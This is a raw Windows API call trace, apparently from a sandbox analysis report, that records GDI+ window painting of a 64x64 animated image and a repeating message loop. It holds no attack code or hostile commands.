FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.912] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0167.912] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0167.912] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0167.912] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0167.912] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.912] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0167.913] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0167.913] GetCurrentObject (hdc=0x4a0106c6, type=0x1) returned 0x1b00017 [0167.913] GetCurrentObject (hdc=0x4a0106c6, type=0x2) returned 0x1900010 [0167.913] GetCurrentObject (hdc=0x4a0106c6, type=0x7) returned 0x1a05067e [0167.913] GetCurrentObject (hdc=0x4a0106c6, type=0x6) returned 0x18a002e [0167.913] SaveDC (hdc=0x4a0106c6) returned 1 [0167.913] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3a0407c3 [0167.913] GetClipRgn (hdc=0x4a0106c6, hrgn=0x3a0407c3) returned 0 [0167.913] SelectClipRgn (hdc=0x4a0106c6, hrgn=0xa040b8a) returned 2 [0167.913] DeleteObject (ho=0x3a0407c3) returned 1 [0167.913] DeleteObject (ho=0xa040b8a) returned 1 [0167.913] OffsetViewportOrgEx (in: hdc=0x4a0106c6, x=0, y=0, lppt=0x2736450 | out: lppt=0x2736450) returned 1 [0167.913] GetNearestColor (hdc=0x4a0106c6, color=0xffffff) returned 0xffffff [0167.914] CreateSolidBrush (color=0xffffff) returned 0x12100190 [0167.914] FillRect (hDC=0x4a0106c6, lprc=0x15d7c0, hbr=0x12100190) returned 1 [0167.914] DeleteObject (ho=0x12100190) returned 1 [0167.914] RestoreDC (hdc=0x4a0106c6, nSavedDC=-1) returned 1 [0167.914] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.914] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4a0106c6) returned 0x0 [0167.914] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbc20dbd) returned 0x0 [0167.914] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.914] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0167.915] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0167.915] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.915] GetSystemMetrics (nIndex=42) returned 0 [0167.915] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0167.915] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0167.915] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0167.915] CoTaskMemFree (pv=0x1e91eca0) [0167.915] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0167.915] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0167.916] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0167.916] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0167.916] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4a0106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0167.916] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.916] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4a0106c6) returned 0x0 [0167.916] SelectObject (hdc=0x4a0106c6, h=0x185000f) returned 0x1a05067e [0167.916] DeleteDC (hdc=0x4a0106c6) returned 1 [0167.916] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.917] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0167.917] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0167.917] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0167.917] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.917] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.917] WaitMessage () returned 1 [0167.938] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.938] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1ed0356) returned 0x12 [0167.938] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.938] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.939] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1ed0356) returned 0x12 [0167.939] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.939] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.939] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.939] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x1ed0356) returned 0x0 [0167.939] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.939] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.939] WaitMessage () returned 1 [0168.011] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.011] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1f70356) returned 0x12 [0168.011] IsWindowUnicode (hWnd=0x702f6) returned 1 [0168.011] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.011] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1f70356) returned 0x12 [0168.012] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0168.012] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.012] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.012] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x1f70356) returned 0x0 [0168.012] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.012] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.012] WaitMessage () returned 1 [0168.032] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.032] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x2010356) returned 0x12 [0168.032] IsWindowUnicode (hWnd=0x702f6) returned 1 [0168.032] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.032] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x2010356) returned 0x12 [0168.032] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0168.032] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.032] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.032] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x2010356) returned 0x0 [0168.032] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.032] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.032] WaitMessage () returned 1 [0168.095] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.095] IsWindowUnicode (hWnd=0x2031e) returned 1 [0168.095] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.095] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.095] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.095] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0168.095] GetCurrentThreadId () returned 0xec0 [0168.095] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0168.095] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.095] IsWindowUnicode (hWnd=0x2031e) returned 1 [0168.095] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.095] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.095] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.095] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0168.096] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0168.096] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4b0106c6 [0168.096] SelectObject (hdc=0x4b0106c6, h=0x1a05067e) returned 0x185000f [0168.096] GdipCreateFromHDC (hdc=0x4b0106c6, graphics=0x15daf0) returned 0x0 [0168.096] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0168.096] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0168.096] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0168.096] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0168.096] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0168.096] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0168.097] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0168.097] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0168.097] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.097] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0168.097] GdipCreateRegion (region=0x15dc20) returned 0x0 [0168.097] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0168.097] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0168.098] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0168.098] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0168.098] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0168.098] GetSystemMetrics (nIndex=42) returned 0 [0168.098] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0168.098] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0168.098] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0168.098] CoTaskMemFree (pv=0x1e91eca0) [0168.098] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0168.098] GdipCreateRegion (region=0x15d710) returned 0x0 [0168.098] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0168.098] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0168.098] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0168.098] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0168.098] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0168.099] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0168.099] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0168.099] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0168.099] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0168.099] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0168.099] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0168.100] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.100] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0168.100] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0168.100] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0168.100] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0168.100] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.100] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0168.100] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0168.100] GetCurrentObject (hdc=0x4b0106c6, type=0x1) returned 0x1b00017 [0168.100] GetCurrentObject (hdc=0x4b0106c6, type=0x2) returned 0x1900010 [0168.100] GetCurrentObject (hdc=0x4b0106c6, type=0x7) returned 0x1a05067e [0168.100] GetCurrentObject (hdc=0x4b0106c6, type=0x6) returned 0x18a002e [0168.101] SaveDC (hdc=0x4b0106c6) returned 1 [0168.101] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xb040b8a [0168.101] GetClipRgn (hdc=0x4b0106c6, hrgn=0xb040b8a) returned 0 [0168.101] SelectClipRgn (hdc=0x4b0106c6, hrgn=0x3b0407c3) returned 2 [0168.101] DeleteObject (ho=0xb040b8a) returned 1 [0168.101] DeleteObject (ho=0x3b0407c3) returned 1 [0168.101] OffsetViewportOrgEx (in: hdc=0x4b0106c6, x=0, y=0, lppt=0x2736e30 | out: lppt=0x2736e30) returned 1 [0168.101] GetNearestColor (hdc=0x4b0106c6, color=0xffffff) returned 0xffffff [0168.101] CreateSolidBrush (color=0xffffff) returned 0x13100190 [0168.102] FillRect (hDC=0x4b0106c6, lprc=0x15d7c0, hbr=0x13100190) returned 1 [0168.102] DeleteObject (ho=0x13100190) returned 1 [0168.102] RestoreDC (hdc=0x4b0106c6, nSavedDC=-1) returned 1 [0168.102] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.102] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4b0106c6) returned 0x0 [0168.103] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbc00dbd) returned 0x0 [0168.103] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.103] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0168.103] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0168.103] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0168.103] GetSystemMetrics (nIndex=42) returned 0 [0168.103] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0168.103] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0168.104] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0168.104] CoTaskMemFree (pv=0x1e91eca0) [0168.104] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xa) returned 0x0 [0168.106] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0168.106] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0168.106] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0168.106] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0168.106] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4b0106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0168.106] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.106] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4b0106c6) returned 0x0 [0168.106] SelectObject (hdc=0x4b0106c6, h=0x185000f) returned 0x1a05067e [0168.106] DeleteDC (hdc=0x4b0106c6) returned 1 [0168.106] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.107] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0168.107] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0168.107] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0168.107] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.107] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x20b0356) returned 0x12 [0168.107] IsWindowUnicode (hWnd=0x702f6) returned 1 [0168.107] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.107] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x20b0356) returned 0x12 [0168.107] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0168.107] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.107] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.107] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x20b0356) returned 0x0 [0168.107] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.107] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.108] WaitMessage () returned 1 [0168.141] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.141] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x2150356) returned 0x12 [0168.141] IsWindowUnicode (hWnd=0x702f6) returned 1 [0168.141] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.141] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x2150356) returned 0x12 [0168.141] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0168.141] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.141] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.141] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x2150356) returned 0x0 [0168.142] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.142] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.142] WaitMessage () returned 1 [0168.167] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.167] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x21f0356) returned 0x12 [0168.167] IsWindowUnicode (hWnd=0x702f6) returned 1 [0168.167] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.167] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x21f0356) returned 0x12 [0168.167] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0168.167] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.167] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.168] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x21f0356) returned 0x0 [0168.168] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.168] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.168] WaitMessage () returned 1 [0168.234] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.234] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x2290356) returned 0x12 [0168.235] IsWindowUnicode (hWnd=0x702f6) returned 1 [0168.235] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.235] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x2290356) returned 0x12 [0168.235] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0168.235] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.235] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.235] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x2290356) returned 0x0 [0168.235] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.235] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.235] WaitMessage () returned 1 [0168.289] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.289] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x2330356) returned 0x12 [0168.290] IsWindowUnicode (hWnd=0x702f6) returned 1 [0168.290] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.290] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x23d0356) returned 0x12 [0168.290] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0168.290] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.290] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.290] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x23d0356) returned 0x0 [0168.290] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.290] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.290] WaitMessage () returned 1 [0168.291] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.291] IsWindowUnicode (hWnd=0x2031e) returned 1 [0168.291] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.291] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.291] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.291] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0168.292] GetCurrentThreadId () returned 0xec0 [0168.292] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0168.292] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.292] IsWindowUnicode (hWnd=0x2031e) returned 1 [0168.292] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.292] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.292] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.292] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0168.292] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0168.292] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4c0106c6 [0168.292] SelectObject (hdc=0x4c0106c6, h=0x1a05067e) returned 0x185000f [0168.292] GdipCreateFromHDC (hdc=0x4c0106c6, graphics=0x15daf0) returned 0x0 [0168.293] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0168.293] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0168.293] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 